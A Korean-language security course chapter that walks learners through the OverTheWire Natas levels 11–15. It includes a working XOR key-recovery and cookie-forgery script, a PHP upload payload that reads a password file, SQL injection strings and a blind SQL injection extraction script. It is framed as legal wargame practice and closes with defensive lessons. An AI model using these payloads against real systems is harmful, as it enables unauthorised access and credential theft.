Step 104. Natas 11~15 — XOR 분석과 첫 SQL Injection
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3.5시간
전제: Step 90의 XOR 실험, Step 92~93의 SQL 기초, Step 102~103의 Natas 정찰 루틴과 쿠키 조작 경험.
- 준비물: 브라우저와 개발자 도구(Application 탭), 파이썬 3, Natas 계정(Step 102에서 획득한 비밀번호 체인).
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 주의: Natas 서버 풀이 화면은 전부 출력 예시입니다. 서버 접속은 여러분이 직접 합니다. 반면 XOR 키 복구와 SQL 인젝션의 원리는 내 컴퓨터에서 실제로 돌려 볼 수 있고, 이 챕터는 그 부분을 실측으로 증명합니다.
Step 103까지 우리는 "서버 코드를 읽는 눈"을 길렀습니다. 오늘부터는 읽는 것을 넘어 서버의 암호와 쿼리를 직접 조작합니다. Natas 11~15는 다섯 개의 관문이 사실상 두 개의 큰 산입니다 — 첫째, Step 90에서 장난감이라고 배운 XOR 암호가 실전에 등장하며 "평문과 암호문을 둘 다 알면 키가 나온다"는 사실이 무기가 됩니다. 둘째, 웹 해킹의 왕좌 SQL 인젝션을 처음 성공시킵니다.
이 구간이 어렵게 느껴지는 것은 정상입니다. 처음으로 "암호학적 분석"과 "쿼리 문법 조작"이 동시에 요구되니까요. 하지만 두 산 모두 핵심 원리는 한 줄입니다 — A ⊕ B = K, 그리고 ' 하나가 쿼리의 문법을 바꾼다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 반복 키 XOR 암호에서 알려진 평문 공격(known-plaintext attack)으로 키를 복구한다
- 복구한 키로 쿠키를 위조하고 개발자 도구에서 교체한다
' OR '1'='1이 왜 인증을 우회하는지 쿼리 변형 과정으로 설명한다- Blind SQLi의 참/거짓 오라클 원리를 설명하고 추출 자동화 스크립트를 작성한다
- 파일 업로드 검증 우회(확장자 바꿔치기)의 원리를 설명한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 브라우저 개발자 도구 + 파이썬 3(표준 라이브러리 base64, json, sqlite3) |
| 오늘의 명령어·코드 | 파이썬 ^(XOR), base64.b64decode/b64encode, sqlite3 쿼리 문자열 조립, requests(서버 자동화용) |
| 필요한 개념 | 반복 키 XOR, 알려진 평문 공격, 쿠키 위조, SQL 문자열 결합 취약점, 참/거짓 오라클(Blind SQLi) |
| 오늘의 산출물 | xor_key_recover.py(키 복구기), blind_sim.py(Blind 추출 시뮬레이터), Natas 11→16 비밀번호 체인 |
2-1. 알려진 평문 공격 — A ⊕ B = K
Step 90에서 외운 성질을 거꾸로 씁니다. 암호화가 평문 ⊕ 키 = 암호문이라면, 평문 ⊕ 암호문 = 키입니다. 암호문만으로는 모르던 키가, 평문을 알거나 추측할 수 있는 순간 그대로 튀어나옵니다.
Natas 11이 바로 이 상황입니다. 서버는 기본 데이터(JSON)를 XOR로 암호화해 쿠키로 줍니다. 소스 코드에 기본 데이터가 적혀 있고(평문), 내 쿠키가 손에 있고(암호문) — 두 개를 XOR하면 키가 나옵니다. 키가 나오면 서버와 똑같이 암호화할 수 있고, 그 순간 쿠키는 여러분이 쓰는 글자 그대로가 됩니다.
키가 데이터보다 짧으면 키가 반복됩니다(반복 키 XOR). 복구된 키 스트림에서 qw8Jqw8Jqw8J...처럼 같은 덩어리가 반복되면, 그 덩어리가 키입니다.
2-2. 쿠키 위조 — 클라이언트 불신의 결정판
Step 102~103의 제1원리를 다시 꺼냅니다: 클라이언트에 맡겨진 값은 클라이언트의 것. 쿠키는 여러분의 브라우저에 저장되는 값이므로, 개발자 도구 Application 탭에서 얼마든지 고쳐 쓸 수 있습니다. 서버가 "쿠키를 암호화했으니 안전하다"고 믿었다면, 그 믿음을 깨는 것이 오늘의 공격입니다.
2-3. SQL 인젝션 — 따옴표 하나의 반란
Step 92~93에서 배운 쿼리를 떠올려 보세요. 로그인 폼의 서버 코드가 대략 이렇다고 합시다.
SELECT * FROM users WHERE username = '입력값' AND password = '입력값'
문제는 입력값이 문자열에 그대로 붙는다는 것입니다. 입력으로 ' OR '1'='1을 넣으면 쿼리가 이렇게 변합니다.
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ...
내가 넣은 '가 원래의 여는 따옴표를 닫아 버렸고, 그 뒤의 OR '1'='1'은 항상 참입니다. WHERE 절 전체가 "빈 이름이거나, 1=1이거나" — 모든 행이 조건을 통과합니다. 입력이 데이터가 아니라 쿼리 문법의 일부가 되는 것 — 이것이 SQL 인젝션입니다. Step 103의 명령어 인젝션과 정확히 같은 뿌리(코드와 데이터의 혼합)에서 자란 형제입니다.
2-4. Blind SQLi — 답이 안 보일 때, 질문을 쪼갠다
Natas 15는 결과를 화면에 보여 주지 않습니다. 쿼리가 참인지 거짓인지 — "This user exists" 문구의 유무만 돌아옵니다. 이때 쓰는 기법이 Blind SQLi입니다. 비밀번호를 통째로 묻는 대신, 한 글자씩 참/거짓으로 묻습니다.
natas16" AND password LIKE BINARY "a%
이 입력이 참이면 "비밀번호는 a로 시작한다"는 답을 얻은 것입니다. a부터 z, A~Z, 0~9까지 순회하면 첫 글자가 확정되고, 그 글자를 붙여 두 번째 글자를 묻습니다. 32자 × 62문자 = 최대 약 2,000번의 요청 — 수작업은 불가능하고 스크립트가 필수입니다. 이것이 이 레벨이 요구하는 진짜 과제입니다.
3. 따라 하기
3-1. Natas 11: 소스에서 평문 확보 (서버, 출력 예시)
http://natas11.natas.labs.overthewire.org에 접속해 "View sourcecode"를 누릅니다.
읽는 법: 소스에서 세 가지를 찾습니다.
$defaultdata = array("showpassword"=>"no", "bgcolor"=>"#ffffff");— 평문입니다- 쿠키를 XOR로 암호화하는 함수(
xor_encrypt) - 쿠키의 데이터가
showpassword를 결정한다는 사실
평문은 알았고, 내 쿠키(암호문)는 개발자 도구 Application 탭에서 복사할 수 있습니다. 재료는 갖췄습니다.
3-2. XOR 키 복구 — 로컬 실측
서버의 암호화 방식과 같은 구조를 내 컴퓨터에 재현해, 키 복구가 실제로 성립함을 증명합니다. xor_key_recover.py를 작성하세요.
"""알려진 평문 공격: 반복 XOR 키 복구 (Natas 11 스타일)."""
import base64
import json
# --- '서버' 역할: 실제 Natas 11처럼 반복 키 XOR로 쿠키를 만든다 ---
SECRET_KEY = b"qw8J" # 공격자는 모른다고 가정
def xor_repeat(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def make_cookie(payload: dict) -> str:
plain = json.dumps(payload).encode()
return base64.b64encode(xor_repeat(plain, SECRET_KEY)).decode()
# --- 여기서부터 공격자 관점 ---
default_plain = json.dumps({"showpassword": "no", "bgcolor": "#ffffff"}).encode()
cipher = base64.b64decode(make_cookie({"showpassword": "no", "bgcolor": "#ffffff"}))
# 평문 XOR 암호문 = 반복되는 키
keystream = bytes(p ^ c for p, c in zip(default_plain, cipher))
print("복구된 키 스트림:", keystream)
key = keystream[:4] # 반복 단위가 보이면 그것이 키
print("키 후보:", key)
print("검증 복호화:", xor_repeat(cipher, key).decode())
# 키로 위조 데이터를 암호화 → 위조 쿠키
forged = {"showpassword": "yes", "bgcolor": "#ffffff"}
forged_cookie = base64.b64encode(xor_repeat(json.dumps(forged).encode(), key)).decode()
print("위조 쿠키(base64):", forged_cookie)
# 서버가 이 쿠키를 어떻게 해석하는지 확인(서버 역할로 검증)
decoded = json.loads(xor_repeat(base64.b64decode(forged_cookie), SECRET_KEY))
print("서버가 복호화한 결과:", decoded)
출력 (2026-09-09 실측, 파이썬 3.12):
복구된 키 스트림: b'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8J'
키 후보: b'qw8J'
검증 복호화: {"showpassword": "no", "bgcolor": "#ffffff"}
위조 쿠키(base64): ClVLIh4ASCsCBE8lAxMacFFVQS8CVRRqUxVfKR4bVzhTTRhoUhFeLBcRXmgM
서버가 복호화한 결과: {'showpassword': 'yes', 'bgcolor': '#ffffff'}
읽는 법: 키 스트림에서 qw8J가 그대로 반복됩니다 — 네 글자가 키입니다. 그 키로 showpassword를 yes로 바꾼 데이터를 암호화하니, 서버가 복호화한 결과가 우리가 원한 값이 되었습니다. 암호화는 됐지만, 평문을 아는 순간 무력 — 이것이 이 암호의 실체입니다.
왜: 실제 Natas 11에서는 소스의 기본 JSON을 이 스크립트의 default_plain 자리에, 내 쿠키를 cipher 자리에 넣으면 끝입니다. JSON의 띄어쓰기·키 순서가 소스의 것과 한 글자라도 다르면 키가 깨집니다 — 소스에 적힌 문자열을 통째로 복사하는 것이 요령입니다.
3-3. 위조 쿠키 교체 (서버, 출력 예시)
3-2에서 만든 위조 쿠키 문자열을 복사합니다. 개발자 도구 → Application → Cookies에서 해당 쿠키 값을 덮어쓰고 새로고침합니다.
출력 예시:
The password for natas12 is <32자 문자열>
읽는 법: 서버는 여러분이 만든 쿠키를 자기 키로 복호화해 showpassword=yes를 읽었습니다. 쿠키라는 값이 전적으로 클라이언트의 손에 있다는 사실이, 암호화라는 장벽을 무의미하게 만들었습니다.
3-4. Natas 12~13: 파일 업로드 우회 (서버, 출력 예시)
이 두 레벨은 한 쌍입니다. 이미지 업로드 폼이 있는데, 소스를 보면 저장 파일명과 확장자를 클라이언트가 보낸 값으로 결정합니다.
절차 (개발자 도구 Network 탭 사용):
- 아무 파일이나 올리는 요청을 보내고, 그 요청을 복사해 편집합니다
- 파일명을
shell.php로 바꾸고, 내용을 아래 한 줄로 바꿉니다
<?php echo file_get_contents('/etc/natas_webpass/natas13'); ?>
- 전송하면 서버가 저장한 경로를 알려 줍니다 (출력 예시:
upload/xxxx.php) - 그 주소로 접속하면 PHP가 서버에서 실행되어 비밀번호가 표시됩니다
읽는 법: 서버는 "이미지를 받겠다"고 했지만, 파일의 정체를 검사하지 않고 이름만 믿었습니다. .php로 저장된 파일은 접속하는 순간 서버에서 코드로 실행됩니다. Natas 13은 "이미지인지 검사"를 추가하지만 내용 앞부분(매직 넘버)만 봅니다 — JPEG 헤더 바이트를 코드 앞에 붙이면 통과합니다. 검사가 ‘일부만 확인’이면 우회는 ‘그 일부만 위장’입니다.
3-5. Natas 14: 첫 SQL 인젝션 (서버 + 로컬 실측)
로그인 폼이 있습니다. 소스의 쿼리를 읽으면 입력이 문자열 결합으로 들어갑니다.
서버에서의 입력 (username 칸):
" OR 1=1 #
Natas 14는 큰따옴표로 감쌉니다 — 서버 소스에서 따옴표 종류를 확인하세요. #는 SQL의 주석으로, 뒤의 조건(비밀번호 비교)을 통째로 무효화합니다. 출력 예시: "Successful login!"과 다음 비밀번호.
이 원리를 sqlite3로 내 컴퓨터에서 증명합니다. sqli_lab.py:
"""SQL 인젝션 원리 실험 — 입력이 쿼리를 바꾸는 순간."""
import sqlite3
con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute("INSERT INTO users VALUES ('admin', 's3cret_password_0426')")
cur.execute("INSERT INTO users VALUES ('alice', 'applepie')")
user_input = "alice"
query = f"SELECT * FROM users WHERE username = '{user_input}'"
print("정상 쿼리:", query)
print("결과:", cur.execute(query).fetchall())
user_input = "' OR '1'='1"
query = f"SELECT * FROM users WHERE username = '{user_input}'"
print()
print("인젝션 쿼리:", query)
rows = cur.execute(query).fetchall()
print("결과 행 수:", len(rows))
print("결과:", rows)
출력 (2026-09-09 실측):
정상 쿼리: SELECT * FROM users WHERE username = 'alice'
결과: [('alice', 'applepie')]
인젝션 쿼리: SELECT * FROM users WHERE username = '' OR '1'='1'
결과 행 수: 2
결과: [('admin', 's3cret_password_0426'), ('alice', 'applepie')]
읽는 법: 인젝션 쿼리의 WHERE 절을 소리 내어 읽어 보세요 — "username이 빈 문자열이거나, 1이 1과 같거나". 후자가 항상 참이라 모든 행이 나왔고, 그 첫 행에 비밀이 있었습니다. write-up에는 Step 103의 버릇대로 내 입력 / 최종 쿼리 한 쌍을 적으세요.
3-6. Natas 15: Blind SQLi — 오라클 먼저 관찰 (서버, 출력 예시)
폼에 natas16을 넣으면 "This user exists.", 없는 이름을 넣으면 "This user doesn’t exist."가 나옵니다. 출력이 이 두 갈래뿐 — 이것이 오라클(참/거짓 답변 장치)입니다.
손으로 오라클을 확인합니다. 입력:
natas16" AND password LIKE BINARY "a%
- "exists"가 나오면 첫 글자 후보가 a 계열
- "doesn’t exist"가 나오면 다음 문자로
대소문자를 구분해야 하므로 LIKE BINARY를 씁니다 (이 레벨은 큰따옴표 구조입니다). 이 관찰까지만 손으로 하고, 추출은 스크립트로 넘깁니다.
3-7. Blind 추출 원리 — 로컬 시뮬레이터 실측
네트워크 없이 추출 알고리즘 전체를 검증합니다. blind_sim.py:
"""Blind SQLi 추출 시뮬레이터 — 오라클 한 개로 32자를 뽑는다."""
import sqlite3
import string
con = sqlite3.connect(":memory:")
cur = con.cursor()
cur.execute("CREATE TABLE users (username TEXT, password TEXT)")
cur.execute("INSERT INTO users VALUES ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')")
cur.execute("PRAGMA case_sensitive_like = ON") # MySQL의 LIKE BINARY와 같은 효과
def oracle(prefix: str) -> bool:
"""서버 역할: 참이면 'This user exists.'를 출력하는 것과 동일."""
q = ("SELECT * FROM users WHERE username = 'natas16' "
f"AND password LIKE '{prefix}%'")
return len(cur.execute(q).fetchall()) > 0
charset = string.ascii_letters + string.digits
known = ""
queries = 0
while True:
for ch in charset:
queries += 1
if oracle(known + ch):
known += ch
break
else: # 62자를 다 돌았는데도 참이 없으면 끝
break
print("추출 결과:", known)
print("쿼리 수:", queries)
출력 (2026-09-09 실측):
추출 결과: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
쿼리 수: 890
읽는 법: 답을 한 번도 "보여 달라"고 한 적이 없는데 32자 전부를 얻었습니다. 질문을 쪼개면 참/거짓 신호만으로 정보가 새어 나옵니다 — 이것이 Blind 계열 취약점이 "화면에 출력이 없어도 위험한" 이유입니다. 실제 Natas 15에서는 oracle 함수만 requests 요청으로 바꾸면 됩니다. 뼈대는 이렇습니다 (서버가 필요해 출력 예시 — 로직은 위 시뮬레이터와 동일):
import requests, string
def oracle(prefix):
url = "http://natas15.natas.labs.overthewire.org/"
auth = ("natas15", "natas15의 비밀번호")
data = {"username": f'natas16" AND password LIKE BINARY "{prefix}%'}
r = requests.post(url, auth=auth, data=data)
return "exists" in r.text
세션 쿠키 대신 HTTP Basic 인증(auth=)이 붙어야 한다는 점만 주의하세요.
4. 미션과 연습문제
미션 — 암호 조작과 쿼리 조작의 이중 통과
- Natas 11~15 전 레벨을 통과하고 natas16 비밀번호까지 획득합니다
- Natas 11은 스스로 쓴 키 복구 스크립트로 풀고, 복구된 키 스트림의 반복 구간을 write-up에 인용합니다
sqli_lab.py와blind_sim.py를 로컬에서 실행해 결과를 캡처해 둡니다- 위키에 각 레벨의 "내 입력 / 최종 결과"를 정리하되, Natas 14와 15는 서버의 쿼리가 어떻게 변형되었는지를 문자열로 재구성해 적습니다
연습문제
문제 1. 반복 키 XOR에서 평문 일부와 암호문을 알 때 키가 복구되는 이유를 XOR의 성질로 설명해 보세요. 키 길이는 어떻게 추정하나요?
문제 2. ' OR '1'='1이 입력된 최종 쿼리를 문자열로 쓰고, 왜 모든 행이 반환되는지 WHERE 절 평가 순서로 설명해 보세요.
문제 3. Natas 14가 큰따옴표로 감싸는데 작은따옴표 인젝션(' OR '1'='1)을 넣으면 왜 실패하나요? 실패했을 때 공격자가 다음으로 확인할 것은 무엇인가요?
문제 4. Blind SQLi에서 32자 비밀번호를 추출하는 데 필요한 최대 요청 수를 문자 집합 62개 기준으로 계산하고, 이것이 왜 "스크립트 필수"인지 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
레벨별 한 줄 정리 (서버 풀이는 출력 예시 기준):
natas11: 기본 JSON(평문) ⊕ 쿠키(암호문) = 반복 키 복구 → showpassword=yes 위조
natas12: 업로드 파일명을 .php로 위조 → 저장 경로 접속으로 코드 실행
natas13: JPEG 매직 넘버 위장 + .php 확장자 → 검사 우회 후 동일 공격
natas14: " OR 1=1 # → 인증 우회 (큰따옴표 구조)
natas15: LIKE BINARY 오라클 + 추출 스크립트 → 32자 비밀번호
검증하는 법: ① 3-2 스크립트에서 "검증 복호화"가 원래 JSON과 일치하는가 — 키가 맞다는 수학적 증거. ② 3-5에서 인젝션 쿼리의 결과 행 수가 정상 쿼리보다 늘어나는가 (2026-09-09 실측 기준 1행 → 2행). ③ 3-7 시뮬레이터가 32자를 오차 없이 추출하는가. ④ 위키의 쿼리 재구성이 서버 소스의 따옴표 위치와 일치하는가.
연습문제 해답
문제 1 해답. XOR은 평문 ⊕ 키 = 암호문이고 양변에 평문을 XOR하면 키 = 평문 ⊕ 암호문입니다 (XOR는 자기 역원: A ⊕ A = 0). 복구된 키 스트림을 보면 같은 덩어리가 반복되는데, 2026-09-09 실측에서 qw8J 4바이트가 반복된 것처럼 반복 주기가 곧 키 길이입니다.
문제 2 해답. 최종 쿼리는 WHERE username = '' OR '1'='1'입니다. OR은 한쪽만 참이어도 참이고, '1'='1'은 모든 행에서 참입니다. 따라서 조건이 사실상 "항상 참"이 되어 테이블 전체가 반환됩니다 — 3-5 실측에서 결과가 2행 전부로 나온 것이 증거입니다.
문제 3 해답. 내 작은따옴표가 큰따옴표 안의 평범한 문자가 되어 버려 쿼리 문법을 바꾸지 못하기 때문입니다. username = "' OR '1'='1" — 그대로 문자열 값일 뿐입니다. 실패하면 소스(또는 에러 메시지)에서 감싸는 따옴표의 종류를 확인해 "로 다시 시도하는 것이 정석입니다. 서버마다 따옴표 종류가 다르다는 것이 SQLi 초보가 가장 많이 막히는 지점입니다.
문제 4 해답. 한 글자당 최악 62번이므로 32 × 62 = 최대 1,984회입니다 (2026-09-09 시뮬레이터 실측에서는 890회). 평균적으로도 1,000회 안팎의 요청이 필요하니 수작업은 사실상 불가능하고, 오라클 호출을 루프로 감싼 스크립트가 필수입니다.
완료 기준 체크리스트
- [ ] 알려진 평문 공격(
평문 ⊕ 암호문 = 키)을 한 문장으로 설명할 수 있다 - [ ] XOR 키 복구 스크립트를 직접 실행해 키와 위조 쿠키를 만들었다
- [ ] 개발자 도구에서 쿠키를 교체하는 절차를 시연할 수 있다
- [ ]
' OR '1'='1의 쿼리 변형 과정을 문자열로 재구성할 수 있다 - [ ] 파일 업로드 우회(확장자·매직 넘버 위장)의 원리를 설명할 수 있다
- [ ] Blind SQLi 오라클의 원리와 자동화 필요성을 설명할 수 있다
- [ ] 미션: Natas 11→16 체인을 완성하고 write-up을 정리했다
6. 흔한 실수와 해결
벽 1. 키 스트림이 반복되지 않고 깨진 문자가 나온다
증상 (2026-09-09 실측에서 JSON을 손으로 다시 쳤을 때의 계열):
복구된 키 스트림: b'w;E\x1bO6\x12qw8Jqw8J...'
원인: 평문으로 넣은 JSON이 서버의 것과 다릅니다 — 띄어쓰기, 키 순서, 따옴표 하나라도 다르면 그 위치의 키가 깨집니다. 뒤쪽에 qw8J 반복이 보인다면 앞부분의 평문이 틀린 것입니다.
해결: 소스 코드의 기본 데이터 문자열을 복사-붙여넣기하세요. 손으로 다시 치는 순간 JSON의 공백이 달라집니다.
벽 2. 위조 쿠키를 넣어도 반응이 없다
증상: 쿠키를 바꿨는데 페이지가 그대로입니다.
원인: 쿠키를 고치고 새로고침을 안 했거나, Application 탭에서 편집 후 확정(Enter)이 안 됐거나, 다른 도메인의 쿠키를 건드렸습니다.
해결: 편집 → Enter → F5 순서를 지키고, Network 탭에서 요청 헤더의 Cookie: 값이 정말 바뀌어 나가는지 확인하세요.
벽 3. SQL 인젝션 입력이 "그냥 검색"된다
증상: ' OR '1'='1을 넣어도 로그인 실패만 나옵니다.
원인: 서버가 큰따옴표로 감싸는데 작은따옴표를 넣었습니다 (연습문제 3). 또는 서버가 입력을 이스케이프합니다.
해결: 소스의 쿼리 줄을 글자 단위로 읽어 감싸는 따옴표를 확인하세요. 소스가 없는 실전에서는 따옴표 하나(' 또는 ")만 넣어 에러를 유도하고, 에러 메시지에 새어 나오는 쿼리 조각으로 판별합니다.
벽 4. Blind 스크립트가 무한 루프거나 중간에 멈춘다
증상: 추출이 중간에서 끊기거나 같은 글자를 반복합니다.
원인: 대소문자 구분을 빼먹었거나(LIKE BINARY), 응답 판별 문자열("exists")이 "doesn’t exist"에도 부분 포함되어 판별이 뒤집혔습니다.
해결: 판별은 r.text 전체에서 "This user exists" 같은 긴 문구로 하세요. 짧은 단어는 부정 문장에도 들어 있습니다. 시뮬레이터(3-7)에서 로직을 먼저 검증한 뒤 서버로 옮기면 디버깅이 빠릅니다.
벽 5. 요청을 보내는데 401이나 빈 응답이 온다
증상 (출력 예시): 401 Unauthorized.
원인: 스크립트의 요청에 인증이 빠졌습니다. Natas는 매 요청마다 HTTP Basic 인증이 필요합니다.
해결: requests.post(url, auth=("natas15", "비밀번호"), data=...)처럼 인증을 명시하세요. 브라우저에서는 자동으로 붙던 것이 스크립트에서는 직접 챙겨야 합니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 알려진 평문 공격 | 평문 ⊕ 암호문 = 키 — XOR 암호의 치명적 역산 |
| 반복 키 XOR | 짧은 키를 반복해 쓰는 암호 — 키 스트림의 반복이 키를 고백한다 |
| 쿠키 위조 | 클라이언트의 값은 클라이언트가 쓴다 — 암호화도 키가 새면 무의미 |
| SQL 인젝션 | 입력이 쿼리 문법으로 승격 — 따옴표 하나가 조건을 바꾼다 |
| Blind SQLi | 출력 대신 참/거짓 신호로 한 글자씩 빼내는 기법 |
| 오라클 | 참/거짓을 답해 주는 서버의 반응 ("exists" 유무) |
| 파일 업로드 우회 | 이름·헤더만 검사하면 이름·헤더만 위장해 통과 |
오늘의 명령어와 코드
| 명령어·코드 | 하는 일 |
|---|---|
bytes(p ^ c for p, c in zip(평문, 암호문)) |
평문-암호문 쌍으로 키 스트림 복구 |
base64.b64decode(쿠키) |
쿠키 포장 벗기기 |
key[i % len(key)] |
반복 키 XOR의 인덱싱 |
' OR '1'='1 / " OR 1=1 # |
조건 바꿔치기 / 꼬리 주석 처리 |
LIKE BINARY 'a%' |
대소문자 구분 접두어 매칭 (Blind 오라클) |
requests.post(url, auth=..., data=...) |
인증 붙은 자동화 요청 |
명령어보다 중요한 감각
오늘의 다섯 레벨은 한 문장으로 꿰입니다 — 서버가 계산에 쓰는 재료가 보이면, 그 계산은 여러분의 것이 됩니다. 평문이 보이면 XOR 키가 나오고, 쿼리 모양이 보이면 조건이 바뀌고, 참/거짓 반응이 보이면 비밀이 한 글자씩 샙니다. 반대로 방어자의 문장도 선명해집니다. 비밀을 클라이언트에 두지 말 것(서버 측 세션), 입력을 쿼리에 붙이지 말 것(준비된 문장, prepared statement), 업로드는 내용과 실행 가능성을 전부 검사할 것, 에러와 반응의 차이도 정보임을 기억할 것. 공격으로 배운 네 문장이 그대로 방어 체크리스트입니다.
전부 체크되면 Step 104 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.